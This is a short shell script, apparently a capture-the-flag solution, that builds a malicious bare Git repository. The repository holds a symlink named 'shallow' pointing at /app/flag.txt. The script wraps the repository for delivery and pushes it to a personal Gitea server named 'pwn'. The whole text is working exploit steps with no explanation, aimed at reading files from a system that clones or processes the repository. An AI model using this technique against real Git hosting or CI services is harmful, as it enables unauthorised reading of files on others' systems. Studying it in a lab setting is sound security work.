# 1. Create the base repository with a commit mkdir base_repo && cd base_repo git init git commit --allow-empty -m "init" cd .. # 2. Create the bare clone (the payload) git clone --bare base_repo malicious.git # 3. Inject the symlink cd malicious.git ln -s /app/flag.txt shallow # 4. Force Git to track the refs directories mkdir -p refs/heads refs/tags touch refs/.keep touch refs/heads/.keep touch refs/tags/.keep cd .. # 5. Wrap it for delivery mkdir wrapper && cd wrapper git init cp -r ../malicious.git . git add malicious.git git commit -m "Delivery package with refs tracked" # 6. Push to your server git branch -M main git remote add origin https://gitea.cato447.de/cato447/pwn.git git push -u origin main -f